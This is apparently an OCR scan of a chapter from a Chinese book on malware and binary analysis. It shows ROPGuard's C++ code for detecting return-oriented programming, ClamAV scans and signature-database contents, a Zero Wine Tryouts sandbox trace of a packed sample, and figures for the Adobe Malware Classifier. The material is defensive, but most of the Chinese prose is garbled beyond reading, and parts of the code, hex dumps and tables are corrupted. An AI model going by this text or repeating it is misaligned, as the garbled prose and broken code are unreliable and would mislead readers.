5 J5i 1t IMP kernel32.7C8623B2 2 k% %] WinExec 13k ¥ jmp 54 J5 1M .
1M jmp 54278 S B LedE 4, WP 3 2] T 00B40018 51 -

¢ MOV EDLEDI
e PUSH EBP
e MOV EBP,ESP
2B, BATFE TR T IRAH) WinExec 24

CALL ropguard.10003490 s&—~ W@ 4R, HIKHAIWT WinExec &5 7E ROP FH{IE1T,
i, KR T —Med TR

K& BRBAT AN T 2 )5, QiX e pk ek i sk, wha A shis i & 7R .
5.2.6 CALL-RETN ¥ #r

PATRE — D& .19 CALL-RETN £ 7 (YA L chapO5\ropguard_cheap\common)

V ropcheck.cpp

// ropcheck.cpp

#include <stdio.h>
#include <windows.h>

#include "ropsettings.h"
#include "debug.h"

Wk



#include <iostream>

#include <fstream>
#include <string>
#include <sstream>

using namespace std;

void ReportPossibleROP (string &report)

{

int

int

string messageboxtext;
messageboxtext = ""
"ROPGuard has detected a possible threat.\n"
"Problem details:\n\n" + report;
if (MessageBoxA (GetForegroundWindow () ,
messageboxtext.c str(), "ROPGuard", MB OKCANCEL) == IDOK)

ExitProcess (1) ;

PrecededByCall (unsigned char *address)

if (* (address-5) == 0xES8)
return 1; // ROPKIETFELF¥, ffCheckReturnAddressHifjH
return 0;

CheckReturnAddress (
DWORD returnAddress, DWORD functionAddress, DWORD *registers)

if (!PrecededByCall ( (unsigned char *)returnAddress)) {
stringstream errorreport; // W CheckReturnaAddress
errorreport << "Return address not preceded by call.\n";

errorreport << "Return address: " << std::hex << returnAddress;
ReportPossibleROP (errorreport.str());
return O0;

}

return 1;

void  stdcall ROPCheck (

unsigned long functionAddress, unsigned long *registers)

if (!protectionEnabled)
return;

unsigned long framePointer = registers[2];
unsigned long stackPointer = registers[3];

int i;

int numFunctions = GetNumGuardedFunctions () ;
ROPGuardedFunction *guardedFunctions = GetGuardedFunctions();
ROPGuardedFunction *currentFunction = NULL;

for (i=0; i < numFunctions; i++){

if (guardedFunctions[i].originalAddress == functionAddress) {
currentFunction = & (guardedFunctions[i]);
break;

}
if (!currentFunction) {
return;

DWORD returnAddress = * ( (DWORD *)
(stackPointer + GetROPSettings () ->preserveStack));

if (!CheckReturnAddress (returnAddress, functionAddress, registers))
return;

// THiERE



/7 AESEAEAS I A A

return;

RN 2 K207 call 54T A 5 451

00469127 |. 3D 21210000 CMP EAX, 2121
0046912C |. 72 OE JB SHORT 0046913C

0046912E E8 S5DFF4990  CALL 90909090 // [R5
00469133 90 NOP

00469134 90 NOP

gk 2 B8 + iH b, —3t 5 AN,

X 5 MENHEELLL ES JF3kF), Rk PrecededByCall H2x Wik [0] H brbsik sy aip 5 4
FH AN ER”, WIHZNRE] 1, AR ZBIVEECHT call $54, J& T 1E 5 T HH ik (]

AR H AR bR S ANFEAR B8, WAAHRTRERE  ROP, BELRM 0, JEER
ReportPossibleROP 74 ..

5.2.7  We] By 1k iR A
IXFE TR U R IR T VAR 25 2w A1), R IFAERT A 1 call #55& 5 AN 190

V2T DL

00469127 |. 3D 21210000 CMP EAX,2121

0046912C |. 72 OE JB SHORT 0046913C
0046912E FFDO CALL EAX 27
00469130 90 NOP

00469131 90 NOP

VIEAT T AT A DL

00469127 3D 21210000 CMP EAX,2121
0046912C 72 OE JB SHORT 0046913C
0046912E 9A 90909090 9090 CALL FAR 9090:90909090



00469135 90 NOP T AL
00469136 90 NOP

TP bRA, I BRI A FEHCEER call 159 LLEANFIFIR-S(E. i, 522 call 2

3 AT,

AN, FRATTE T LUK B 4 fy T e R S 2 call 19 HAsHbhE. #l1 CALL EAX B, wJLL
o 2r EAX A EIP HO{E 2 75— 3L,

5.2.8 R Ae Ak
K% 7 CALL-RETN VLECPEZ A1, A A4 0] LUK 2 i) EE 25 Ve ?

Letnisd, WORwJDSREGR R IEYEE, PR A esp. ebp FWAF-asHMER G TiZE A, W
e DU H S 5 R o

int CheckStackPointer (unsigned long stackPtr)
{
unsigned long stackBottom, stackTop;
GetStackInfo (&stackBottom, &stackTop);

if ((stackPtr < stackBottom) || (stackTop < stackPtr)) {
stringstream errorreport;
errorreport << "Stack pointer is "
errorreport << "outside of stack. Stack address:\n";
errorreport << std::hex << stackPtr;
ReportPossibleROP (errorreport.str());
return O;

}

return 1;

AR AT DR R N B AL, IFARR A esp ATAL TIRVEEN . XANE AT L
T ¥ 7 ebp.

BeAh, WFHEGGER T RALTT D) B, R ebp REERT esp, FATIH Al LI IX
R A

int CheckStackFrames (DWORD *stackPtr, DWORD *framePtr)
{

DWORD *returnAddress;

DWORD *newFramePtr;

DWORD *originalFramePtr;



unsigned long stackBottom, stackTop;
GetStackInfo (&stackBottom, &stackTop);

originalFramePtr = framePtr;

// frame pointer must point to the stack
if (((unsigned long) framePtr < stackBottom) ||
((unsigned long) framePtr > stackTop))

stringstream errorreport;

errorreport << "Return address not ";

errorreport << "preceded by call. Frame pointer:\n";
errorreport << std::hex << (unsigned long) framePtr;
ReportPossibleROP (errorreport.str());

return O;

if (((unsigned long) framePtr) < ((unsigned long)stackPtr)) {
stringstream errorreport;
errorreport << "Frame pointer is above stack pointer on stack";
errorreport << " Stack pointer: ";
errorreport << std::hex << (unsigned long)stackPtr;
errorreport << " Frame pointer: ";
errorreport << std::hex << (unsigned long) framePtr;
ReportPossibleROP (errorreport.str());
return O;

TiAh, BRER B bR b R A BHER R, IR IRATT A LUE S ebp HEATRIYI, #k2) E—A
A AR [0] H bk

XPVTVERFR A RRERER (stack trace) o I ARERER, FATTAT CLEAA T F %A ebp 22 T4
TR kS L

for (unsigned int i=0; i<GetROPSettings ()->maxStackFrames; i++) {
newFramePtr = (DWORD *) (* (framePtr));
returnAddress = (DWORD *) (* (framePtr+1));

if (!returnAddress) break;

if (!PrecededByCall ( (unsigned char *)returnAddress)) {

stringstream errorreport;

errorreport << "Return address not preceded by call.";

errorreport << " Return address: ";

errorreport << std::hex << (unsigned long)
returnAddress;

errorreport << " Frame pointer: ";

errorreport << std::hex << (unsigned long) framePtr;

errorreport << " Original frame pointer: ";

errorreport << std::hex << (unsigned long)

originalFramePtr;
ReportPossibleROP (errorreport.str());
return 0;
}
if (((unsigned long)newFramePtr < stackBottom) ||

(
((unsigned long)newFramePtr > stackTop))

stringstream errorreport;



errorreport << "Frame pointer is outside of stack.";

errorreport << " Frame pointer: ";

errorreport << std::hex << (unsigned long) framePtr;

errorreport << " Original frame pointer: ";

errorreport << std::hex << (unsigned long)
originalFramePtr;

ReportPossibleROP (errorreport.str());

return O;

}

if ((unsigned long)newFramePtr <= (unsigned long) framePtr) {
stringstream errorreport;
errorreport << "Next frame pointer is not ";
errorreport << "below the previous one on stack.";
errorreport << " Frame pointer: ";
errorreport << std::hex << (unsigned long) framePtr;
errorreport << " Original frame pointer: ";
errorreport << std::hex << (unsigned long)
originalFramePtr;
ReportPossibleROP (errorreport.str());
return 0;

framePtr = newFramePtr;

}

return 1;
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5.3 1 REMnux 7 H73% & 4k A}
5.3.1 14 & REMnux
WA FRATTN 21 T o FIRIAM B R AR, B P RIBATRE — B S E Y

REMnux J& M TGS EE R S, 2T Ubuntu Sk, T2EH T4 VMware S5
LT ~iafT,

KFE A LA sourceforge.net & 5HT i

e REMnux

http://zeltser.com/remnux/

http://sourceforge.net/projects/remnux/files/version3/

remnux@remnux: ~
File Edit Tabs Help

remnux@remnux: ~% I

COIEYAANFEEN LB, CrbG HILTUEED,



http://zeltser.com/remnux/
http://sourceforge.net/projects/remnux/files/version3/

A 7/F VMware | iz4T REMnux

P REAV IR L I P

e )4 : remnux
o %1 . malware

HTiXE— T Ubuntu RS, Ktk root I8 4T FE I 75 2448 FH sudo w72 - Root [ 2544
5 42 malware.

5.3.2 HUPTRF LA
BT IR T M R SR ARSI 50
W KF LR R 9617, Ji] root 14T freshelam dir 4.

\ X RN

$ sudo freshclam

[sudo] password for remnux: malware HIA%HG

ClamAV update process started at Sat May 19 13:54:14 2012

B

WARNING: Incremental update failed, trying to download daily.cvd
Downloading daily.cvd [100%]

Downloading bytecode-158.cdiff [100%]

B

Downloading bytecode-180.cdiff [100%]

B

5.3.3 HIHEH %
T IERATRA RS A

?I_I#% /home/remnux A — 440 jsunpackn ) H 3, FRATKX XA H F 47— F 528 H
o

FHH 75 2 clamscan 172
A AP RN

$ clamscan Jjsunpackn/
jsunpackn/CHANGELOG: OK
jsunpackn/COPYING: OK
jsunpackn/INSTALL: OK
jsunpackn/INSTALL.spidermonkey: OK



HAI4E

Jjsunpackn/INSTALL.spidermonkey.shellcode: OK

A1

jsunpackn/rules: OK

jsunpackn/rules.ascii: OK

jsunpackn/samples.tgz: Exploit.PDF-4897 FOUND &I
jsunpackn/swf.py: OK

jsunpackn/urlattr.py: OK

Known viruses:
Engine version:

SCAN SUMMARY --—---—=---

1217159
0.97.3

Scanned directories: 1

Scanned files:
Infected files:
Data scanned:

23
1

0.46 MB

Data read: 2.30 MB (ratio 0.20:1)
Time: 3.824 sec (0 m 3 s)

jsunpackn  HgH A E] T —ASREEAT, AT

jsunpackn/samples.tgz, FEHU A

Exploit.PDF-4897. REMnux ANYEERI x86 F1 Windows LR HAY, EEEMAS I H

Android 1

Vv iz

177l

MR, BlnAE A 44 1) DroidDreams

$ clamscan DDream-444578756853741426-Super .apk

DDream-444578756853741426-Super.apk: Exploit.Andr.Lotoor-8 FOUND

Known viruses:
Engine version:

SCAN SUMMARY —-—--—-—-----

1217159
0.97.3

Scanned directories: 0

Scanned files:
Infected files:
Data scanned:
Data read:

1
1
0.04 MB

1.58 MB (ratio 0.03:1)

Time: 3.797 sec (0 m 3 s)

11 REMnux &2k FRFAE R TARR, IR TGI8 s e, BV E I ) 78 T
EHATARE .



5.4 H ClamAV F il % & 844 A0 s TR B
5.4.1 ClamAV [ F SO

BAMINIABER Y clamscan a4, SEFs & A GPL B3 SOl 8R4 1F ClamAV O35 SR
%Dﬁ/ﬂﬁ%ﬁﬂ?ﬂ*&l o AR RSO0 S w3 A B JR PRG35, ol DU — B XA AT
PR o

e ClamAV

http://www.clamav.net/
ClamAV FJRFIE SO R RS TE B, ML ) B 7 WYk a] DL 28 2 e B R A

@ Clam AntiVirus

& C @ www.clamav.net/lang/en/
| | more stats..
Latest Stable Release
Home Latest ClamAV® =table release is: 0.97 4
i Doc & Wiki Windows Antivirus - Immunet 3.0, powered by ClamAV (Learn more) sfe]lf ) Her-As 8
About ClamAW — e
?_u _m ClamAV Virus Databases:
Mailing Lists main.cvd ver. 54 released on 11 Oct 2011 10:34 :0400 (sig count: 1044387)
Download daily.cvd ver. 14991 released on 01 Jun 2012 14:10 :0400 (sig count: 201147)
Official FAQ bytecode. cvd ver. 185 released on 29 May 2012 11:39 :0400 (sig count: 28)
submit a file safebrowsing.cvd ver. 39130 released on 01 Jun 2012 14:00 :0400 (sig count: 1349119}
EOL policy
Bug tracker
Contacts Latest Development Release (Release Candidates)
MNews feeds
blog (28) There are no Release Candidates currently planned.
in the press (24)
misc (71) hovare
_— = = - |

A ClamAV H31E AT 4%

ﬁ%?gﬁ@%ﬁi#ﬁ@%ﬁ ovd, Hrf mainevd NIEAREIRE, daily.cvd REH B K%
EH A 1%

TR = A e N B daily.cvd Y, ZE R 2 G SR B maincvd H .
S S A ) A LU JLR .

o MEHISCAF#EAR I AL SIME


http://www.clamav.net/

o A FHIC I P R R 02 41

ol T G AL 4

ClamAV [P SR, 1 5 00 e A R SR ) S0 43 SRR
ClamAV I3 EATF T WBFHE SR RN H K8, KR TR

e Creating signatures for ClamAV

http://www.clamav.net/doc/latest/signatures.pdf

5.4.2 fRESE .evd SCHF

.ovd SCAFSERs FEilad targz e (), FATRGSCAEIF LA 512 N7 25, sl LU tar
iy MRS T o

@ IFAME) I.%a;(_] BE - E8(S) =ED) Mu (W) AW (H)

D|={e| : rﬂHh@&&lﬂﬂmmmumHMMinﬁiﬁﬁl

ADORESS UU 01 02 03 04 0% 06 07 08 09 (4 UB 0C 0D DE UF

20 1D 12 12 B 1D 12 12 1 1 1

1F 8B 08 00 00 00 00 00 00 03 EC BD 50 73 23 37 s
92 2E BC BY bB B1 3F 22 C3 37 03 3D 2B D1 F8 46 . .2A4L72 77%=+L -

15 BD EF 28 D8 12 05 4D 8F 24 64 44 B5 DB ED 9B ..U, M. §i0403E
20 92 9N 21 GR RR R AN AR 24 R2 N2 1F FF F7 F7  Of ISY +&7

#ZiR : 0x00000000~-0x000001FF 0x200(512)Bytes  [0x00000200 | | | EZ [4715878 Bytes  [SHIF |

A MR FF K1) 512 A0
PATTH — St g s I R 1L 10 512 AN, RIEHY e 44 B tar.gz I8 4 .

\ X RN


http://www.clamav.net/doc/latest/signatures.pdf

$ cp main.cvd main.tar.gz

$ tar zxvf main.tar.gz

$ 1s

COPYING main.db main.hdb main.mdb main.tar.gz
main.cvd main.fp main.info main.ndb main.zmd

XL ) SRR SCAHS I, FTOF 2R Bl Tl LR B B 5 T SO R Bodl e 471
DYSES -8 CERIEL S XS

[ 192.168.11.15: enii@ubunty: ~/clamA\
??‘I’le[_} Eﬁ[_} ..—g_ﬁE(_] O RO-0{0) D+ EI(W) ~JLFH)
12200:917 choa3d1d%eb2daTbcbbet 3bT7 2401 i Trodan. Downl oader—-1420 -
168:al05efccil48108cd048360eb847c7d0: Trojan . Downl cader-1421

168:chleffThbeleefl 9ef¥aifh011674216 : Trojan . Downl cader-1422
168:801b6320148122104f00440ea 2684291 :Trojan . Downl oader-1423

168:cal 2838307 9ab0d930ebhda 7 10026231 :Trojan . Downl cader-1424

Sbb204 1 4af891 84219944620 2f8chBebd cfdY (Trojan . Bancoz-2053

268984 1 2hfbb3dT0881 0580791221 3d1537 eda ( Trojan . Bancoz-20564

363020 edbbd f497 cdalba¥9cBead 067 3d963e : Trojan . Bancog-£0bb

SBTE1A 85T 19b032dh T 3980049002881 fd220 : Trojan . Bancoz-2056

706858 6chhT 214245241 8dcd ealfedad 9176 Trojan . Bancoz-2057

70685 ef 34885677 2300816459d30ea08d7h0al :Trojan . Bancoz-2058

299360 857 8h0A4T 08 cfde2fAE3680baclblbfe  Trojan . Bancoz-2059

401408 defiZafiblbbadelbale9cbl76249383dd (Trojan . Bancog-2060

B22097: 8223034 0c0a8cTH343f0fhE81314fadf : Trojan . Bancog-£2061

A UK %445 4T T main.db
5.4.3 BRI ) SCAE RGNS S
AT clamscan 7] DAXS SCAFREATHRERR I, an S 75 B VEQ 1045 B, 18 75 B Ad ] JiAh — 4k

HD‘Q>0

wilan, AT PLAR— trid v 2o

\EEAwN

$ trid mal.exe
TrID/32 - File Identifier v2.00/Linux - (C) 2003-06 By M.Pontello
Definitions found: 3887
Analyzing...
Collecting data from file: mal.exe
38.4% (.EXE) Win32 Executable Generic (8527/13/3)
34.1% ( ) Win32 Dynamic Link Library (generic) (7583/30/2)
9.3% ( ) Winl6/32 Executable Delphi generic (2072/23)
9.0% (.EXE) Generic Win/DOS Executable (2002/3)
9.0% ( ) DOS Executable Generic (2000/1)



WX RETRATTLLE L, malexe A .EXE (% DLL XM REME . L
F, mal.exe 52—~ Win32 Executable Generic 3 1,

5.4.4 RN P AT ] (03T A% LK CBE DL B A 1) SC A

E% pescanner i< H] LU SCPF R O ES e 46 I HE B 456 P 100 9T A0 2% o e DL i A 1) 3

\ X RN

$ pescanner mal.exe

Meta-data

File: mal.exe

Size: 12345 bytes

Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5: P 356660000 0.0.0-0-0-0.0.0. 00 0.0.0.0.0-0.5-0.0.0.0.04

SHAL: PS50 6 5.0.0.0.0.0.0:0-0-0-0.0.0.00.0.0.0-0-6.5.0.0.0:0.0.0.0-0.0.64

ssdeep: XXXXXXXXKXXXKXKXXXKXXXKXXXKKXXKXXKKXXKKXK

Date: 0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC] [SUSPICIOUS]
EP: 0x418001 .aspack 6/8 [SUSPICIOUS]

CRC: Claimed: 0x0, Actual: 0xa62f [SUSPICIOUS]

Signature scans

Clamav: mal.exe: Trojan.Spy—-68202 FOUND

Hrp A “SUSPICIOUS” [H) I H R 7n<n] %87, gt 2Ul, XHWEBA TR (5 Re
E%fﬁ#> AL, XS AT BRI, B EIR 2 SUSPICIOUS, R 4NRE
ﬁmﬁ%E—A%E?#o

W EifE R, FATERFE HIXA EXE SCFEH T ASPack HEATH] 4



5.5 J1 Zero Wine Tryouts 7 #1% & 4
5.5.1 REMnux 5 Zero Wine Tryouts [¥][X Jl
Zero Wine Tryouts st J38b— AR HEAT - TH, B0 R REMnux AMAl. Zero Wine
Tryouts & —MHEM B LE, HEZR O/ bR LR LLBRa R, dE% . 5
REMnux AN f7E T, B 2l 3)as o0 i kg Hi 4

e Zero Wine Tryouts

http://zerowine-tryout.sourceforge.net/

5.5.2 14T AL

Zero Wine Tryouts &84T 7E T ERIPL QEMU L. #i AF= 1 EXE XX ffei#4 PDF X, &
SR FAEVH (AP R0 ThizdT, Rt HAE.

Zero Wine Tryouts LA R BR MIE kA, v B QEMU FisqT.

RN, B AT A HTTP kS, B M i Bl EAAEER EXE U347 70
e

HANERE —ANET Wine WYPAEIAEE. Wine J&2 — M HERS/E Linux. BSD. Solaris. OS X #¥4E
Windows ¥ 5% 24T Windows #2/7 (PE 3D IEATHY e

e Wine

http://www.winehq.org/

TEVS R e AT B S A A i H AR AR S
5.5.3 oM At
TN E
## start_img.bat Fl zerowine.img & ]3] QEMU 1 H sk, SRJ5IZ47T start_img.bat.
XFE—2K, QEMU 2> A3hizdT, JFEahEBRTIMEIERS, WGk,

HIEAR SR RS, REPHIEEEs LR 8) 7. WIRESRMUE, nf MR R T —
] 7 A4 A i

o H)"44: root; *5f3. zerowinel

e /"4 : malware ; %Y. malwarel


http://zerowine-tryout.sourceforge.net/
http://www.winehq.org/

I T PR 1 3E i 0 B 2817 1] http://localhost: 8000 XMkl

® Y localhost:8000 x4

¢ \D localhost:8000

Zero Wine Tryouts: A Malware Analysis Tool

Upload | View | Download | Search

Upload a sample
Select the sample file to upload and the options to analyze it.

Sample file (e.g. EXE file, DLL file, PDF file) | #%ft ABSHIHXH
Tags (separate with comma)
Additional files (zip archive file) ﬁﬁiﬁ AIRHEELH
Dynamic analysis timeout at - seconds
Dump process memory at I seconds
Set Windows version to Windows XP SP3 B
Unpack sample file [/

L1 3 E3

Windows is a registered trademark of Microsoft Corp. in the U.S. and other countries.

Copyright (e) 2008, 2009 Joxean Koret

A )5 7)) Zero Wine J{7Jj I7] http://localhost:8000
F P G iR v 2 1

EWM T Er 7R AEE, AT EESE EXE SCHFEE PDF SCHFIF 4 A8 #c it vl LAJT
G T o ARIEIABIRSCAF AN, A7 L2 B il e AR H AR o

554 WHIN BT
IMTSERL R AT AT LA i



{T) localhoet:B0D0/egi-bin
- C D localhost: 8000/ cgi-bin/view.py

Sample analysis result

Original file name: kates.exe

MD5S: dlbfabel3lSeScBeaaacd4dle4d70a954b

SHA-1: TaS3645b88bBc0E56T739 7043875502412 77b50d

I SHA=-224: 47c32d8aedll4ab53fd4aTedS2celesalddiatbdd480blid3ald51le80b
SHA-256: 44d73b21fl1523fl0cedbclidfZBEe3ifeadabideeb?ei3bbb2clbl54fbfbalibdde’

SHA=512:

| ceneral information:

{0009 :5tariing process L7C:¥¥QGrAjecY.oxe” (entryproc=0x418001}
10009 =Cal | KERNEL3Z .GatModuleHand|e& (00413044 "kernel32.d117) ret=0041 6045
10009 :Cal | HERHELBE-Gelprﬂtﬂddrassz?edhﬂﬂﬂﬂ.ﬂﬂd1ﬁﬂel “Yirlualal loc™) ret=00418050
10009:Czl | KERMEL3Z.GatProchddress(Tadb0000,0041%0ee "VirtualFree™) ret=0041806f
{0008 :Cal | KERNELAZ. ?IrtualhlIuc{DDDﬂDDDU.UUQU1BDD 00a08000,00000004) rei=004180c2
Itrace: |eaddi ) :f rea_nodref Unloaded nodule L7G: HFulnduws¥¥sxslanlﬂ¥?u:lhena dil™  bulltin
10008 :Cal | KERMEL3Z.Virtualdl|oc (00000000 ,00011F0e, 00001000,00000004) ret=004180a0
|000d:Cal | advapi 32 RegoenteyEx¥ (00000044, Techbiet L™ PrUE]D S00000000,000Z0019,001354c4) red=Tehf 396
000d:=Cal | adwapid2 .RaghatValuwe¥ (00000044 00000000, Focbbdc0 L™ Content Type™,00000002 ,00000000,00000000,0083f68c) rel=Tec00374
|0004:Cal | KERNELAZ. Inter lockedDecrenant (001334be) rei=TebffOcd
(0004 :Cal | adwapi32 Pagl|esekey (00000044} ral=Tebff |8k
000d:=Cal | adwapidl. Hegﬂluseﬁer{ﬂﬂﬂﬂﬂﬂﬂﬂj ret=7ebff|dc
{trace:oaddl | :f ree_modref Unlpaded podule LUCi¥¥e]ndovs¥¥syatendTWishivapt.di1™ & bullfin
|000b:Cal | KERMELAZ2 ExitProcess (00000000} ret=Yedalclf
|000B:Call PE DLL {proc=Ou7¥esScS7c,module=0x7eda0000 L userdd.dl| Lreasnn_PRDDEEE DETACH, res=0xl)
0008:Cal | PE DLL {proc=0u7el047f8. modula=0uTeEB0000 L vinex11.drv”, reagon=PROCEST ETACH, res=0x1)
000b:Cal | PE DLL {proc=0x7e536%c4, nodula=0xTe520000 L"inn32.d1 17 reason=PROCESS _DETACH ,res=0=1)
10008 :Cal | KERNEL3Z.TIsFree(DDOODDO0) ret=7e52ecd]
{000b:Cal | PE DLL (proc=0xVedFcOB0 module=0xTed4D000 L advapid2 ) 1" reason=PROCESS_DETACH, res=0x1)
|000b:Call PE DLL {pruc =0 Ved| BBbd ,module=0x Tecc D000 L rpcrtd.dll”™ ;reason=PROCESS DETACH, ress| Oxi}
0008:Cal | PE DLL iproc=OxVeeS4d5E . module=04Tedf 000D L KERNELIZ 411" .reasun PRCtESS ETACH, res=0x1 )
0006 :Cal | PE DLL {prac=0xVefcfded.nodula=0:Tef 50000 L atdl] .dl 17 reason=p) 38 _DETACH,res=0x1)
0004d :Cal | 5h|vapi.Aesucﬂuerysirin:ﬁ[ﬂﬂﬂﬂﬂﬂﬂﬂ.EBBDDDDI,Dﬂ1323ﬂﬂ.?eﬁBhE?e,DDUDﬂDDU.Dﬂﬂifazdj ret=Ted32af3
0004 :Cal | ghel 132102 (00000000, 00331320 , 00000000, 7ebdZ004,0033F 8500 rei=Tebdcab
0004 :Cal | KERMEL3Z . Interlockedincrement (Q01318fc) rel=TecZbddd
|000d :Cal | KERNEL3Z.Inter lockedDecrement (D01318fc) rei=TecZbefd
000d:Ca1 | KERNEL3Z: Intar |ocked]ncranant (001334bc) ret=Teh fO33
il : an z = ]

A Zero Wine Tryouts 1153 #T 45 5
MRS AL DL IR eI Ay, XL SRR AR A AR A .

e Report : API e85 01 H &

o File headers : U1 3k DL KCAH I IR RFAE A5 B

o File strings : A1 63 (1 45 5

o Signatures : LI [FIRFAERY

e Differences : =17 i i A ZEASAL I SCAFANE MR H A&
¥ Report

0009:Starting process L"C:\\***.exe" (entryproc=0x418001)
0009:Call KERNEL32.GetModuleHandleA (004190d4 "kernel32.dl1l")
ret=00418045

SHA=-3B4: 29d4d757c47d2b57083a58eatbeefebTecdbal5e89deTcl973c0905b3bT7d7fdl1 fdaT62575E2%F0a044d06d25:

19675b6bc9bcaatel6alds2eldfec25ZbiT4576d5d%a46403£1cla9ddicTeb3cieb 7604485922323 £188442a750ebedE

= Report El rile headers File strings > Signatures ™ piffere




0009:Call KERNEL32.GetProcAddress

(7edb0000,004190el "VirtualAlloc") ret=0041805b
0009:Call KERNEL32.GetProcAddress

(7edb0000,004190ee "VirtualFree") ret=0041806f
0009:Call KERNEL32.VirtualAlloc

(00000000,00001800,00001000,00000004) ret=004180c2
trace:loaddll: free modref Unloaded module

L"C:\\windows\\system32\\uxtheme.d1l1l" : builtin
0009:Call KERNEL32.VirtualAlloc

(00000000,00011£0e,00001000,00000004) ret=004180e0
000d:Call advapi32.RegOpenKeyExW

(00000044, 7ec6b3e6 L"ProgID",00000000,00020019,001334c4)

ret=7ebff396
000d:Call advapi32.RegGetValueW

(00000044,00000000, 7ec6b4cO L"Content Type",

00000002,00000000,00000000,0033f68c) ret=7ec00379
000d:Call KERNEL32.InterlockedDecrement (001334bc) ret=7ebff0c3
000d:Call advapi32.RegCloseKey (00000044) ret=7ebffl8b
000d:Call advapi32.RegCloseKey (00000000) ret=7ebffl9c
trace:loaddll:free modref Unloaded module

L"C:\\windows\\system32\\shlwapi.d1ll"™ : builtin
HI

V¥ File headers

38.4% (.EXE) Win32 Executable Generic (8527/13/3)

34.1% (.DLL) Win32 Dynamic Link Library (generic) (7583/30/2)
9.3% (.EXE) Winl6/32 Executable Delphi generic (2072/23)
9.0% (.EXE) Generic Win/DOS Executable (2002/3)

9.0% (.EXE) DOS Executable Generic (2000/1)

—————————— DOS_HEADER--———-——-—-
[IMAGE DOS HEADER]

0x0 0x0 e magic: 0x5A4D
0x2 0x2 e cblp: 0x50

A1

V File strings

B
kernel32.dl1l
VirtualAlloc
VirtualFree
ExitProcess
user32.dll



MessageBoxA

wsprintfA

LOADER ERROR

The procedure entry point %s could not
be located in the dynamic link library
%sThe ordinal %u could not be located
in the dynamic link library $%s
kernel32.dl1l

GetProcAddress

GetModuleHandleA

LoadLibraryA

A

V¥ Signature

0009:Starting process L"C:\\***_.exe" (entryproc=0x418001)
End of signature. See report for more information.

V¥ Differences

/home/malware/.wine/.update-timestamp
c:/*** . exe
-—- /home/malware/.winebackup/system.reg
2010-07-24 05:35:43.000000000 +0200
+++ /home/malware/.wine/system.reg
2012-05-22 14:22:56.000000000 +0200
@@ -14296 +14296 @@
- [Software\\Microsoft\\Windows\\CurrentVersion\\Fonts] 1279942537
+[Software\\Microsoft\\Windows\\CurrentVersion\\Fonts] 1337689369
@@ -19182 +19182 @@
- [Software\\Microsoft\\Windows NT\\CurrentVersion\\Fonts]
1279942537
+[Software\\Microsoft\\Windows NT\\CurrentVersion\\Fonts]
1337689369
@@ -20321 +20321 @@
Hlg
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e McAfee Q1 Threats Report Reveals Surge in Malware and Drop in SPAM

http://www.mcafee.com/cn/about/news/2011/q2/20110601-01.aspx
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5.6.2  Ji A NEAR A

e w2 U PN P S 8 7 G 6 e OF o DN TTTET o 5 N el T = T P By S 7 € G R R M o2 U Pl
JA R ABAR, IEAER B Z R

o “HUELUTRNEMR AT, SELUE AR
o “UEMUR /NI 2 B i, SERUER T HAT

%L@?ﬁ A R A AIE BRI RAT MR EBHT IS, JRREAF A X SeREE i 4R AR 4] e

LIRS, H TR 2 Do s RS i 1 R a2, AR BRI D RER—#B 73 RATHT .

e Adobe Malware Classifier

http://sourceforge.net/projects/malclassifier.adobe/

T8 a5 A2 S\ B BT AR, U NAR M fh 3 HoAZ O H R . Ak, 2012 4 4
H, Adobe A a] kAT T — 2K RIS B AR AR 5 | 25——Adobe Malware Classifier.
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BEAh, IR RN R R A e AN — 2 W 528 UNKNOWN.

FEPACRS TSk, AT T iz s [ R HER MR R, AR AR .

V AdobeMalwareClassifier.py

Results on dataset of ~130000 dirty, ~ 16000 clean files:
(False Positives, True Negatives, True Positives, rates

J48

FP N TP

FN TP Rate FP Rate Accuracy

7683 37171 130302 3451 0.97419871 0.171289071 0.937662018
J48Graft FP TN TP
6780 38074 129087 4666 0.96511480 0.151157087 0.935915166

PART

FP TN TP

FN TP Rate FP Rate Accuracy

FN TP Rate FP Rate Accuracy

7074 36492 125060 9412 0.93000773 0.162374329 0.907401791

Ridor

XHEX KL 13 A
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FP TN TP

FN TP Rate FP Rate Accuracy

7390 37935 114194 20930 0.84510523 0.163044677 0.843058149

BEBAER 16000 AN IEH BAFREATINR,  IFGe vt RN S B HERf

Hrp &5 _FTHifM FP. TN. TP. FN #3455, EAiUCERMES X,

TP

. ¥

Rate
130302+(130302+3451)=0.97419871 ,

2, FP Rate NN BEH SCAF A ZAFRORER, 25554 0.171289071 .
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C:\>AdobeMalwareClassifier.py -v -f wsampleOla.exe
Starting dump of wsampleOla.exe
DebugSize: 28
ImageVersion: 0

TatRVA: 8868
ExportSize: 0

ResourceSize: 436
VirtualSize2: 1720
NumberOfSections:5

Stop

Processing all...
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Al %% IDA

IDA ) Demo AN 9% i A Al LAANE 5 W stidh AT R 28
https://www.hex-rays.com/products/ida/support/download.shtml

]ﬁ));mo R RRCAS LEOR s (BT B BT R, AR AT AR Bl AT A, 3o sl U S B

IDA HHJ (2013/05) HEHTRAN 6.4, HITHNILEZN 5.0 A Ak, BHTHRiE
DR C AR s i, RIEXT FH)aE Rl e g T .

il (04 Support: Download Cer X

"- + e &l https/  www. hex—rayvs.com/ products Fidads ot/ download shtml {._’

IDA Support: Download Center

Evaluation & Freeware versions of IDA

¢ D4 demo download: evaluate a limited varsion of our disassembler
¢ [DA 5.0 Freeware: free for non-commercial use,

SDK & Utilities

e (4 €|E=K1vj':'u.4: develop processor modules, loaders and extensions - extended with the source of 30+ modules and
20+ loaders.

Flair 6.4 add your own compiler libraries to the FLIRT engine.

Tilib 6.4 create your own type libraries.

Linwz/Mac Tvision 200%b port for the ID& Interface - source code

Loadint 6.4 create your own disassembler comment databases

idsutils 6.4 create your own 105 files from DLLs.

Cwingraph v1,10: source code the \Wingraph we use and modified (GPL).

PIM tool: the source code of our PIMN tool. It creates a debugoer backend out of Intel's PIN framework

* & 8 & & & @

A IDA W 5T Chttps://www.hex-rays.com/products/ida/support/download.shtml )

M Demo IR [1#EF2 IDA demo download riit2:, wJ AR 2% IDA 5.0 Freeware 1 T 5
e, RTEEEN T E IR
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E':Setup — IDA Pro Free ¥5.0

Welcome to the IDA Pro Free v5.0
Setup Wizard

This will install IDA Pro Free w50 on your computer,

It is recommended that vou close all other applications before
conkinuing.

Click Mext bo continue, or Cancel bo exit Setup,

FREEWARE
Version 5.0

Hex-Rays 2010

Lﬂ_ext:: | [ Cancel

A Setup

